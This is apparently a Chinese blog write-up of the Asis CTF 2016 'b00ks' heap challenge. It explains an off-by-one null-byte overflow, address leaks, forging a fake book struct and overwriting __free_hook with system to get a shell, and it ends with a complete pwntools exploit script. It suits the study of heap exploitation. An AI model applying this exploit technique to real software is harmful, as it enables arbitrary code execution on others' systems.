off by one 利用原理

使用电脑浏览效果更佳!

摘要

​ 记录分析off-by-one(off-by-null,只是覆盖一字节内容不同而已)的漏洞利用原理,使得萌新如我在看ctf-wiki上的pwn的glibc利用手法能够深入的了解off-by-one的原理。此处挑选的是上面的例一:Asis CTF 2016 b00ks进行详细的介绍,说实话,把这道题弄懂确实费了我好多时间,(多少次在放弃heap pwn与断断续续的不甘心中把这道题看完了,一些分析过程中也加深了对Linux下从ELF文件到加载到内存的映射结构的理解,包括动态链接与映射,内存页保护,malloc与mmap的调用分配内存大小的区别 )。不禁想起俞敏洪在演讲中提到的,愚笨的我只能比其他人一遍又一遍的学,终究我也能够学会。

分析过程

堆内存的pwn利用本质

​ 通过伪造内存,在内存控制字段中可以伪造fake_pointer指针,获得指向libc.so映射的地址(如修改 __malloc_hook__free_hook内容为one_gadget或者system(“/bin/bs”)等开shell函数),或者获得指向got表项内存对got表重定位函数地址进行修改。进而控制程序的流程。

安全机制

1563935962453

​ Full RELRO意味着got表项的覆写无法实现对got表的覆写。但可以通过修改 __free_hook 或者 __malloc_hook 进行利用。

定位程序漏洞

​ 自实现的read函数存在off-by-one漏洞

1563936688091

利用步骤

main程序流程

1563936977389

create_book()的heap malloc分配流程

book_name = malloc(v1);

book_description = malloc(v1);

v3 = malloc(0x20uLL);//malloc_book_struct,记录name,description的指针

book_struct(记录book信息)结构体内存

1563936886840

综上一次create_book的内存结构(从上-下:低地址-高地址内存)低内存覆写高内存内容

1563937231525

内存覆写(off-by-one)

1563937413020

关闭地址随机(PIE):

1
2
$ cat /proc/sys/kernel/randomize_va_space 
# echo 0 > /proc/sys/kernel/randomize_va_space

从ELF文件加载(映射)到虚拟内存的地址即可通过laod_image_base+offset计算得出真正的地址。如此处.data的全局变量:

内存映射结构:

1
2
# cat /proc/pid/maps
pwndbg>vmmap

1563938098964

可以知道:
镜像映射基址为:0x555555554000

libc映射基址为:(动态连接)0x7ffff7a0d000

global_book_array: 0x555555554000 + 0x202060

global_author_name:0x555555554000 + 0x202040

即可以global_author_name 可以向高地址(.data段)多写一字节\x00,通过此可以泄露book1_struct_address (create_book1覆盖了name的字符串结束\x00,通过print(author_name即可泄露),book2_struct_address (由于book2d的book_name,book_descrtiption都大于malloc的上限,即通过mmap进行分配,如上图分析的malloc分配流程,此时heap段记录book2的信息只有malloc(0x20) book_struct,即可以通过已知的book1_struct_address + sizeof(book1_struct)即可计算保存book2信息的结构体在heap的地址,即book1_struct_address+0x30)

1
2
init_author_name("A"*32)
create(140,"book1_name",140,"create book1")
  1. 新建book1覆盖32bit author_name结尾\x00,通过print_book泄露book1_struct地址,进而计算book2_struct

    1563946078340

  2. 此时堆的结构

    1563946228818

  3. 通过print_book泄露book1_struct地址,计算book2_struct地址

    1
    2
    3
    4
    5
    6
    # leak book1_struct_address
    print_book_info()
    p.recvuntil("A"*32)
    tmp = p.recvuntil("\x0a")
    book1_struct_address = u64(tmp[:-1].ljust(8,"\x00"))
    book2_struct_address = book1_struct_address + 0x30
  4. 覆盖修改global_author_name,off_by_null覆盖global_book_array的book1_struct_address 0x0000555555758160 为 0x0000555555758100,恰好落在book1的description域内(这也是为什么要140字节的description,使得我们可以伪造一个book1的内存块)

    1
    2
    3
    4
    5
    6
    7
    8
    # create book2,name和description都通过mmap分配,通过获取book2_struct的name指针域获取到libc的地址
    create_book()

    # fake book1_struct
    payload = "A"*0x40+p64(1)+p64(book2_struct_address+8)+p64(book2_struct_address+8)+p64(0x8c)
    edit_book_description(1,payload)

    change_author_name("A"*32)

    可以看到在create_book2的时候,由于name,description都有mmap分配,堆的内存分布

    1563948500820

    vmmap的内存

    1563948765016

    通过change_author_name的off-by-null伪造的fake-book1

    1563949276135

通过book1_description伪造book1_struct控制写任意内存

泄露libc基址(使得开启PIE也能继续利用)

通过上面内存映射分析与global_author_name的off-by-one漏洞分析中知道,可以通过后create_book1(往global_book_array全局数组)覆盖global_author_name的\x00泄露book_struct结构地址,同时也可以通过修改global_author_name再次覆盖global_book_array数组中的第一项即book1_struct结构体指针低位为\x00,即改小真实的book1_struct地址,使得落入book1_description中,通过book1_description的伪造fake_book1_struct,其中fake_book1_struct->book_name = book2_struct_bookname_ptr(book2_struct_address+8),fake_book1_struct->book_description = book2_struct_bookdescripion_ptr(book2_struct_address+16),但他们实际的内容是mmap函数得到的地址指针,通过打印book1_struct的信息可以泄露出libc的地址(mmap的地址与libc加载的地址有一个固定的偏移)

覆写__free_hook

free(*ptr) 每一次free都会检查__free_hook的存在。此处通过覆写__free_hooksystem()的地址,ptr为‘/bin/bash’字符串的地址,每次free(ptr)即变为了system(“/bin/bash”),即开启一个shell

通过泄露libc基址可以知道,fake_book1_struct的book_description指针指向book2_struct的book_name域,即以该地址以高地址为其fake_book1的description的具体内容,通过修改fake_book1,即可修改book2_struct的book_name指针为”/bin/bash”指针,book2_description指针为__free_hook,在次通过修改book2即可将__free_hook修改为system()的地址,即可达到开shell的目的

  1. 有上一步知道构造的fake_book1的name指针域指向book2的name域(即拿到可控任意内存指针,可以进行覆写)

    1
    2
    3
    4
    5
    6
    edit_book_description(1,p64(binsh_addr)+p64(free_hook))
    # 在修改book1的name_ptr指向的内存(即book2的name_ptr所存地址)为bin_sh_ptr的时候,也覆盖了book2_descripiton指针指向(关联)__free_hook
    edit_book_description(2,p64(system))
    # 接着修改上一步的_free_hook为system函数地址
    delete_book(2)
    # 相当于system(ptr_name) = system(bin_sh_ptr)
  2. 效果如

    1563949863902

分析流程转EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#coding:utf-8

from pwn import *

p = process("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def init_author_name(name):
p.sendlineafter("Enter author name: ",name)

def create_book(name_size,book_name,des_size,description):
p.sendlineafter("> ","1")
p.sendlineafter("Enter book name size: ",str(name_size))
p.sendlineafter("Enter book name (Max 32 chars): ",book_name)
p.sendlineafter("Enter book description size: ",str(des_size))
p.sendlineafter("Enter book description: ",description)

def delete_book(idx):
p.sendlineafter("> ","2")
p.sendlineafter("Enter the book id you want to delete: ",str(idx))

def edit_book_description(idx,description):
p.sendlineafter("> ","3")
p.sendlineafter("Enter the book id you want to edit: ",str(idx))
p.sendlineafter("Enter new book description: ",description)

def print_book_info():
# ID: 1
# Name: tang
# Description: new book1 edit descript
# Author: tang
p.sendlineafter("> ","4")

def change_author_name(name):
# name max length = 32 off-by-one
p.sendlineafter("> ","5")
p.sendlineafter("Enter author name: ",name)

# 泄露book1_struct,book2_struct 地址
init_author_name("A"*32)
create_book(140,"tang",140,"create book1")
pause()
# pwnlib.gdb.attach(proc.pidof(p)[0])

# leak book1_struct_address
print_book_info()
p.recvuntil("A"*32)
tmp = p.recvuntil("\x0a") # print_book补上的一个\n
book1_struct_address = u64(tmp[:-1].ljust(8,"\x00"))
book2_struct_address = book1_struct_address + 0x30

log.info(str(hex(book1_struct_address)))
log.info(str(hex(book2_struct_address)))


create_book(0x22000,"book2 name",0x22000,"create book2")
pause()

#fake book1_description
payload = "A"*0x40+p64(1)+p64(book2_struct_address+8)+p64(book2_struct_address+8)+p64(0x8c)
edit_book_description(1,payload)

change_author_name("B"*32)
pause()

# leak libc address
print_book_info()
p.recvuntil("Name: ")
tmp = p.recvuntil("\x0a")
book2_name_ptr = u64(tmp[:-1].ljust(8,"\x00"))
log.info(str(hex(book2_name_ptr)))

# 关闭PIE后的固定偏移offset计算
libc_base = 0x7ffff7a0d000
mmap_base = 0x7ffff7fb8010 # book2_name_ptr mmap address
offset = mmap_base - libc_base
libcbase = book2_name_ptr - offset
log.info(hex(libcbase))

free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase

edit_book_description(1,p64(binsh_addr)+p64(free_hook)) # 在修改book1的name_ptr指向的内存(即book2的name_ptr所存地址)为bin_sh_ptr的时候,也覆盖了book2_descripiton指针指向(关联)__free_hook
edit_book_description(2,p64(system)) # 接着修改上一步的_free_hook为system函数地址

delete_book(2)
p.interactive()
您的支持是对thonsun技术原创分享的最大鼓励!